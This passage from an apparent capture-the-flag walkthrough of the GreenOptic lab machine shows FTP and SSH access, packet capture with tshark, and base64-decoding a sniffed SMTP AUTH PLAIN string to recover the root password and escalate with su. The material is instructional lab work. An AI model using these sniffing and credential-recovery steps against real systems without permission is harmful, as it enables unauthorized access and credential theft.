    229 Entering Extended Passive Mode (|||12079|).
    ftp: Can't connect to `192.168.56.104:12079': No route to host
    200 EPRT command successful. Consider using EPSV.
    150 Here comes the directory listing.
    -rwx------    1 1002     1002           70 Jul 12  2020 user.txt
    226 Directory send OK.
    ftp>

    Here it displays the “user.txt” file. Let’s run the get command to download the file.

    ftp> get user.txt
    local: user.txt remote: user.txt
    200 EPRT command successful. Consider using EPSV.
    150 Opening BINARY mode data connection for user.txt (70 bytes).
    100% |*********************************************************************************|    70        0.55 KiB/s    00:00 ETA
    226 Transfer complete.
    70 bytes received in 00:00 (0.54 KiB/s)
    ftp> 

    Now, let’s take a look at what is inside. Here it shows:

    “Well done. Now to try and get root access.

    Think outside of the box!”

    To think outside of the box, instead of ftp can we use SSH to gain access? 

    From FTP to SSH

    Let’s run:

    ┌──(kali㉿kali)-[~]
    └─$ ssh alex@192.168.56.104                        
    The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
    ED25519 key fingerprint is: SHA256:FkUejrDoIcwfG8KzsYAElBrX2BbWcAHiVWnR8k0k0Kk
    This key is not known by any other names.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '192.168.56.104' (ED25519) to the list of known hosts.
    ** WARNING: connection is not using a post-quantum key exchange algorithm.
    ** This session may be vulnerable to "store now, decrypt later" attacks.
    ** The server may need to be upgraded. See https://openssh.com/pq.html
    alex@192.168.56.104's password: 
    [alex@websrv01 ~]$ 

    Here it is. You successfully got access with SSH. Let's now escalate the privilege.

    Privilege Escalation (Credential Disclosure)

    In the privilege escalation process, the primary goal is to enumerate the system further, identifying potential misconfigurations, exploitable vulnerabilities, or overlooked permissions. Our focus is to search for files or processes that may allow us to escalate to root or another privileged user, and also we will investigate permissions, SUID files, running services, and scheduled tasks for exploitation opportunities.

    However, as we currently operate with limited user privileges through the reverse shell, we face restrictions on accessing certain files or commands for a comprehensive assessment.

    To gather details, we run the id command, which will provide the user's UID, GID, and group memberships.

    [alex@websrv01 ~]$ id
    uid=1002(alex) gid=1002(alex) groups=1002(alex),994(wireshark)
    [alex@websrv01 ~]$

    Here the,

    • uid=1002(alex): User ID. The system identifies the user "alex" internally by the unique number 1002.
    • gid=1002(alex): Primary Group ID. The user's primary group is also named "alex" with the ID 1002. It is standard practice in most Linux distributions to automatically create a primary group with the exact same name as the user when an account is made.
    • groups=1002(alex),994(wireshark): Supplementary Groups. This lists every group the user belongs to.

    The most notable detail here is 994(wireshark). Because "alex" has been added to the wireshark group, this user has been granted special permissions to capture and analyze network traffic without needing full root (administrator) access.

    So, it means we have to run Wireshark to inspect network activity that is occurring on the machine.

    That could potentially reveal useful information such as:

    • Source and destination hosts
    • Services being accessed
    • DNS queries
    • HTTP requests
    • Authentication traffic
    • Other unencrypted application data

    This doesn't immediately mean that membership in the Wireshark group gives us root access. Instead, it gives us a new capability to investigate.

    Now, let me show a problem that will occur next. 

    [alex@websrv01 ~]$ wireshark
    (wireshark:5225): Gtk-WARNING **: 12:59:09.183: cannot open display:                                                          
    [alex@websrv01 ~]$

    In the terminal, if we run Wireshark, it will display a Gtk-WARNING **: cannot open display warning. 

    This happens because Wireshark's graphical interface requires access to an X display, while a normal SSH connection does not automatically provide one.

    To run a graphical application through SSH, we can use X11 forwarding.

    In a new terminal, run the following command.

    The -X option requests X11 forwarding, allowing graphical applications launched on the remote machine to display through the local X server.
    ┌──(kali㉿kali)-[~]
    └─$ ssh -X alex@192.168.56.104

    On successful connection is established, now run Wireshark.

    ┌──(kali㉿kali)-[~]
    └─$ wireshark

    As a result, you will see it display the classic Wireshark graphical interface. 

    On the Wireshark interface, choose any to give an instruction to capture traffic from all available interfaces. Now click on Start to capture; it will take time. 

    Now click on Stop Capture to stop. Here, we can now understand if any important clues are listed in it.

    Also, if you want then you can also use tshark, a command-line tool. You just have to run the following:

    [alex@websrv01 ~]$ tshark -i any
    Capturing on 'any'
    The -i option specifies the interface from which TShark should capture traffic, and any tells it to capture traffic from all available interfaces.

    The output begins with:

    Capturing on 'any'

    This confirms that packet capture has started successfully. 

      1 0.000000000    127.0.0.1 -> 127.0.0.1    TCP 76 53258 > https [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=21835696 TSecr=0 WS=128                                                                                                           
      2 0.000017534    127.0.0.1 -> 127.0.0.1    TCP 56 https > 53258 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0                          
      3 0.000240771    127.0.0.1 -> 127.0.0.1    DNS 84 Standard query 0x6451  A websrv01.greenoptic.vm                           
      4 0.000275837    127.0.0.1 -> 127.0.0.1    DNS 84 Standard query 0xab5e  AAAA websrv01.greenoptic.vm                        
      5 0.000572967    127.0.0.1 -> 127.0.0.1    DNS 125 Standard query response 0xab5e                                           
      6 0.000578089    127.0.0.1 -> 127.0.0.1    DNS 134 Standard query response 0x6451  A 127.0.0.1                              
      7 0.000850069          ::1 -> ::1          TCP 96 35736 > smtp [SYN] Seq=0 Win=43690 Len=0 MSS=65476 SACK_PERM=1 TSval=21835697 TSecr=0 WS=128                                                                                                            
      8 0.000882390          ::1 -> ::1          TCP 96 smtp > 35736 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65476 SACK_PERM=1 TSval=21835697 TSecr=21835697 WS=128                                                                                          
      9 0.000897211          ::1 -> ::1          TCP 88 35736 > smtp [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=21835697 TSecr=21835697                                                                                                                            
     10 0.001167745          ::1 -> ::1          SMTP 130 S: 220 websrv01.greenoptic.vm ESMTP Postfix                             
     11 0.001181890          ::1 -> ::1          TCP 88 35736 > smtp [ACK] Seq=1 Ack=43 Win=43776 Len=0 TSval=21835697 TSecr=21835697                                                                                                                           
     12 0.001212929          ::1 -> ::1          SMTP 117 C: EHLO websrv01.greenoptic.vm
     13 0.001221522          ::1 -> ::1          TCP 88 smtp > 35736 [ACK] Seq=43 Ack=30 Win=43776 Len=0 TSval=21835697 TSecr=21835697
     14 0.001278247          ::1 -> ::1          SMTP 241 S: 250 websrv01.greenoptic.vm | 250 PIPELINING | 250 SIZE 10240000 | 250 VRFY | 250 ETRN | 250 AUTH PLAIN LOGIN | 250 ENHANCEDSTATUSCODES | 250 8BITMIME | 250 DSN
     15 0.001332564          ::1 -> ::1          SMTP 153 C: AUTH PLAIN AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=
     16 0.001651343          ::1 -> ::1          SMTP 145 S: 535 5.7.8 Error: authentication failed: generic failure
     17 0.001738029          ::1 -> ::1          SMTP 94 C: QUIT
     18 0.001815754          ::1 -> ::1          SMTP 103 S: 221 2.0.0 Bye
     19 0.001838720          ::1 -> ::1          TCP 88 smtp > 35736 [FIN, ACK] Seq=268 Ack=101 Win=43776 Len=0 TSval=21835698 TSecr=21835698
     20 0.001915342          ::1 -> ::1          TCP 88 35736 > smtp [FIN, ACK] Seq=101 Ack=269 Win=44800 Len=0 TSval=21835698 TSecr=21835698
     21 0.001930992          ::1 -> ::1          TCP 88 smtp > 35736 [ACK] Seq=269 Ack=102 Win=43776 Len=0 TSval=21835698 TSecr=21835698
     22 0.192734262 192.168.56.104 -> 192.168.56.101 SSH 256 Encrypted response packet len=188
     23 0.193199538 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=189 Win=149 Len=0 TSval=205357836 TSecr=21835888
     24 0.514321073 192.168.56.104 -> 192.168.56.101 SSH 600 Encrypted response packet len=532
     25 0.514719649 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=721 Win=148 Len=0 TSval=205358158 TSecr=21836210
     26 0.523628016 192.168.56.104 -> 192.168.56.101 SSH 1992 Encrypted response packet len=1924
     27 0.523900864 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=2645 Win=145 Len=0 TSval=205358167 TSecr=21836220
     28 0.532694402 192.168.56.104 -> 192.168.56.101 SSH 328 Encrypted response packet len=260
     29 0.533125577 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=2905 Win=145 Len=0 TSval=205358176 TSecr=21836229
     30 1.007813042 192.168.56.104 -> 192.168.56.101 SSH 784 Encrypted response packet len=716
     31 1.008344491 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=3621 Win=144 Len=0 TSval=205358651 TSecr=21836704
     32 1.508099426 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     33 1.508629353 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=3889 Win=144 Len=0 TSval=205359152 TSecr=21837204
     34 2.009364835 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     35 2.009708308 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=4157 Win=144 Len=0 TSval=205359653 TSecr=21837705
     36 2.773791163 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     37 2.774732368 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=4425 Win=144 Len=0 TSval=205360418 TSecr=21838470
     38 3.274224813 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     39 3.274886029 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=4693 Win=144 Len=0 TSval=205360918 TSecr=21838970
     40 3.861180192 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     41 3.862071803 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=4961 Win=144 Len=0 TSval=205361505 TSecr=21839557
     42 4.424207826 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     43 4.425254332 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=5229 Win=144 Len=0 TSval=205362068 TSecr=21840120
     44 4.957462336 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     45 4.957971987 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=5497 Win=144 Len=0 TSval=205362601 TSecr=21840653
     46 5.210024224 CadmusCo_73:72:8b ->              ARP 62 Who has 192.168.56.104?  Tell 192.168.56.101
     47 5.210041206 CadmusCo_fe:fd:30 ->              ARP 44 192.168.56.104 is at 08:00:27:fe:fd:30
     48 5.505969449 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     49 5.506378644 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=5765 Win=144 Len=0 TSval=205363149 TSecr=21841202
     50 5.695483565 192.168.56.104 -> 192.168.56.101 SSH 208 Encrypted response packet len=140
     51 5.695843340 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=5905 Win=144 Len=0 TSval=205363339 TSecr=21841392
     52 6.006231469 192.168.56.104 -> 192.168.56.101 SSH 656 Encrypted response packet len=588
     53 6.006645161 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=6493 Win=143 Len=0 TSval=205363650 TSecr=21841702
     54 6.509228843 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     55 6.509676708 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=6761 Win=143 Len=0 TSval=205364153 TSecr=21842205
     56 7.010143629 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     57 7.010523223 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=7029 Win=143 Len=0 TSval=205364653 TSecr=21842706
     58 7.521644350 192.168.56.104 -> 192.168.56.101 SSH 336 Encrypted response packet len=268
     59 7.522651468 192.168.56.101 -> 192.168.56.104 TCP 68 42590 > ssh [ACK] Seq=1 Ack=7297 Win=143 Len=0 TSval=205365165 TSecr=21843218
    ^C59 packets captured
    [alex@websrv01 ~]$ 

    Now, let’s understand the captured data.

    This is already an important finding: Alex's current privileges are sufficient to capture network traffic.

    TShark now starts displaying packets as they are captured. The first few packets are local traffic, DNS queries, the SMTP server responds, and many more.

    Here, we discovered an interesting part: Auth Plain Login; it is telling the client that it accepts basic username and password authentication. The client chooses to use the PLAIN method and sends the AUTH PLAIN command along with the login credentials to begin the process.

     12 0.001212929          ::1 -> ::1          SMTP 117 C: EHLO websrv01.greenoptic.vm
     13 0.001221522          ::1 -> ::1          TCP 88 smtp > 35736 [ACK] Seq=43 Ack=30 Win=43776 Len=0 TSval=21835697 TSecr=21835697
     14 0.001278247          ::1 -> ::1          SMTP 241 S: 250 websrv01.greenoptic.vm | 250 PIPELINING | 250 SIZE 10240000 | 250 VRFY | 250 ETRN | 250 AUTH PLAIN LOGIN | 250 ENHANCEDSTATUSCODES | 250 8BITMIME | 250 DSN
     15 0.001332564          ::1 -> ::1          SMTP 153 C: AUTH PLAIN AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=
     16 0.001651343          ::1 -> ::1          SMTP 145 S: 535 5.7.8 Error: authentication failed: generic failure
     17 0.001738029          ::1 -> ::1          SMTP 94 C: QUIT
     18 0.001815754          ::1 -> ::1          SMTP 103 S: 221 2.0.0 Bye

    Those credentials look like a random jumble of letters and numbers, but they are actually just encoded in Base64. Since Base64 is used as the username and password, there may be a trace of the username and password when we decode to plain text.

    Now, let’s decode the captured value. Now, run:

    ┌──(kali㉿kali)-[~]
    └─$ echo "AHJvb3QAQVNmb2pvajJlb3p4Y3p6bWVkbG1lZEFTQVNES29qM28=" | base64 -d
    rootASfojoj2eozxczzmedlmedASASDKoj3o                                                                                                                             
    ┌──(kali㉿kali)-[~]
    └─$

    Here, it displayed plain text. The decoded value starts with root, which strongly suggests that the authentication attempt involved the root account. However, decoding the string alone is not enough to prove that the entire decoded value is the authentication username and password.

    Here, run the following command:

    [alex@websrv01 ~]$ su root
    Password:ASfojoj2eozxczzmedlmedASASDKoj3o 
    [root@websrv01 ~]# 

    The authentication succeeds, and we receive the root shell. This indicates that we have successfully escalated from the unprivileged alex username account to root.

    Whenever we obtain a privileged shell, we should verify the privilege level rather than relying solely on the prompt. Now, run the following command.

    [root@websrv01 ~]# whoami
    root
    [root@websrv01 ~]# 

    It displayed root. Which means we now have root access. This confirms that we have full administrative access to the system.

    Now that we have root access, we can inspect the root user's home directory.

    [root@websrv01 ~]# ls
    anaconda-ks.cfg  root.txt
    [root@websrv01 ~]#

    The machine contains:

    • anaconda-ks.cfg
    • root.txt

    The final flag can then be displayed with:

    [root@websrv01 ~]# cat root.txt
    Congratulations on getting root!

      ____                      ___        _   _      
     / ___|_ __ ___  ___ _ __  / _ \ _ __ | |_(_) ___ 
    | |  _| '__/ _ \/ _ \ '_ \| | | | '_ \| __| |/ __|
    | |_| | | |  __/  __/ | | | |_| | |_) | |_| | (__ 
     \____|_|  \___|\___|_| |_|\___/| .__/ \__|_|\___|
                                    |_|             
    You've overcome a series of difficult challenges, so well done!

    I'm happy to make my CTFs available for free. If you enjoyed doing the CTF, please leave a comment on my blog at https://security.caerdydd.wales - I will be happy for your feedback so I can improve them and make them more enjoyable in the future.

    *********
    Kindly place your vote on the poll located here to let me know how difficult you found it: https://security.caerdydd.wales/greenoptic-ctf/
    *********

    Thanks,
    bootlesshacker
    [root@websrv01 ~]# 

    The machine responds:

    Congratulations on getting root!

    This confirms that we have completed the GreenOptic privilege-escalation path.

    Community Q&A